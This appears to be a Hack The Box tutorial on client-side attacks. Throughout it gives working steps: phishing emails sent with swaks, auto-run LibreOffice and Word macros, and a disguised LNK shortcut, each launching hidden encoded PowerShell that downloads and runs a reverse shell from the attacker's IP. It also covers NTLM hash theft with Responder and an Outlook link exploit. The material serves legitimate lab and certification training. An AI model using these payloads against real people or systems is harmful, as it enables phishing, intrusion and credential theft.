Client-side attacks on HTB: macros, LNK files and phishing emails

How to get a shell when someone opens your file: find the victim, send emails with swaks, LibreOffice and Word macros, LNK shortcuts and stealing NTLM hashes.

· 6 min read

Some boxes have no vulnerable service: they have a simulated user who opens whatever you send. A bot checks the mailbox every minute, opens the documents in a share or clicks the links. These are client-side attacks, which are on the OSCP syllabus and which show up on Hack The Box mostly on Windows machines.

The key is spotting when a box expects this and testing in small steps: first that someone clicks, then that something runs, and only at the end the shell.

When to suspect it

  • SMTP is open (port 25 or 587) and the website mentions email (send us your CV, contact support).
  • A form or a share asks for documents (reports, CVs, templates) and says someone will review them.
  • An email or note on the box talks about "reviewing attachments", "testing macros" or a specific version of Office or LibreOffice.

Requirements

  • swaks to send email: sudo apt install swaks.
  • LibreOffice on your box for .odt/.ods documents; for Word macros you need Office in a Windows VM.
  • nc, python3 -m http.server and Responder.
  • A PowerShell reverse shell. The site's generators give you one ready-made: reverse shells.
  • To practise: Reel, Hospital and Mailing.

Step 1: find someone to email

Pull names from the website (the team page, authors) and check which ones exist on the mail server:

smtp-user-enum -M RCPT -U users.txt -D megabank.com -t 10.10.10.77
10.10.10.77: [email protected] exists

If RCPT does not work, try -M VRFY or -M EXPN. Check public documents' metadata too (exiftool *.docx): the Creator field is often a username or an email. On Reel the victim's email comes out exactly like that, from the metadata of a document on FTP.

Step 2: check that someone clicks

Before building a document, send a link to your box and wait:

sudo python3 -m http.server 80
swaks --to [email protected] --from [email protected] --server 10.10.10.77 \
  --header "Subject: Pending report" --body "Please review: http://10.10.14.5/report"
10.10.10.77 - - [04/Nov/2026 10:21:03] "GET /report HTTP/1.1" 404 -

If a request arrives, someone (a bot) is reading. The User-Agent in the log tells you which program opens links. That is how you confirm the victim on Outdated and Reel2.

Step 3: build the payload

Always use the same payload: PowerShell that downloads and runs your reverse shell. Encode it as UTF-16LE Base64 so you do not fight with quotes:

echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/rev.ps1")' \
  | iconv -t UTF-16LE | base64 -w0

The final command is powershell -nop -w hidden -e <base64>. Put a PowerShell reverse shell in rev.ps1 and leave nc -lvnp 443 listening.

Tip

First send something harmless that leaves a trace, such as ping -n 2 10.10.14.5 or a download from your server (tcpdump -i tun0 icmp to see the ping). If it arrives, the macro runs and any later failure is the payload's fault, not the document's. That is what RE is about.

Step 4: a LibreOffice macro (.odt / .ods)

  1. Open LibreOffice Writer and save an empty document as report.odt.
  2. Tools > Macros > Edit Macros. In the tree, pick your document (not "My Macros") and create a module.
  3. Write the macro:
Sub Main
    Shell("cmd.exe /c powershell -nop -w hidden -e <base64>")
End Sub
  1. Tools > Customize > Events, choose Open Document, click Macro... and assign Main. Under Save In, the document.
  2. Save and send it:
swaks --to [email protected] --from [email protected] --server 10.10.10.10 \
  --header "Subject: Report" --body "Report attached" --attach @report.odt

RE and Rabbit are solved with LibreOffice macros.

Step 5: a Word macro (.doc / .docm)

In a VM with Office: View > Macros, pick the current document under Macros in and create:

Sub AutoOpen()
    Run
End Sub

Sub Document_Open()
    Run
End Sub

Sub Run()
    Dim c As String
    c = "powershell -nop -w hidden -e "
    c = c + "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBO"
    c = c + "AGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4A"
    CreateObject("Wscript.Shell").Run c
End Sub

Save it as Word 97-2003 Document (.doc) or .docm; a .docx does not keep macros. VBA will not take string literals longer than 255 characters, which is why the Base64 is split across several c = c + "..." lines (a short Python script splits it for you).

Step 6: LNK shortcuts and other files

If the victim opens whatever you drop in a share, a .lnk shortcut is simpler than a document. From PowerShell on any Windows:

$s = (New-Object -ComObject WScript.Shell).CreateShortcut("$PWD\report.lnk")
$s.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$s.Arguments = "-nop -w hidden -e <base64>"
$s.IconLocation = "C:\Windows\System32\shell32.dll,70"
$s.Save()

Mist and Ethereal use it. Other formats that turn up on retired boxes:

Format Box Idea
RTF with CVE-2017-0199 Reel The RTF downloads and runs an .hta
EPS with CVE-2023-36664 Hospital Ghostscript runs commands when the EPS opens
CHM Sniper Compiled Windows help with a command inside
XLL Axlle An Excel add-in that is a DLL
VS Code extension Checkpoint A .vsix with a Node reverse shell

Step 7: no execution? steal the hash

If you cannot get anything to run, make the client authenticate to you. With Responder listening (sudo responder -I tun0), a link to an SMB path of yours (\\10.10.14.5\x) makes Windows send the user's NetNTLMv2 hash:

[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash     : maya::MAILING:1122334455667788:...

On Mailing Outlook is vulnerable to CVE-2024-21413 (Moniker Link): a file:///\\10.10.14.5\x!something link in the email bypasses the protection and hands over maya's hash, which cracks with hashcat (mode 5600). The .url, .scf and .library-ms files in shares achieve the same thing; relaying those hashes is in NTLM relay and coercion.

Common mistakes

  • The email sends but nothing happens: the bot may take a minute or two. If there is nothing after five, check the address (the exact email domain) and try the Step 2 link.
  • swaks returns Relay access denied: the server will not accept mail for that domain from outside. Use the box's own domain in --to or authenticate with --auth-user.
  • The macro does not run: it is not bound to the open event, or it is saved in "My Macros" instead of in the document. Open the document yourself to check.
  • The ping arrives but not the shell: Defender or AMSI block the payload. Try another one, without Invoke-Expression in clear text, or see EDR evasion.
  • The HTTP request for rev.ps1 arrives but no connection: the script has an error or the port is blocked. Use 443 or 80, which almost always get out.

What next

With the victim's shell, carry on with the post-exploitation checklist. There are more document templates and commands in the phishing cheat sheet.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Phishing and malicious documents 14 machines

See all 14 machines →

Spotted a mistake or something missing? Tell us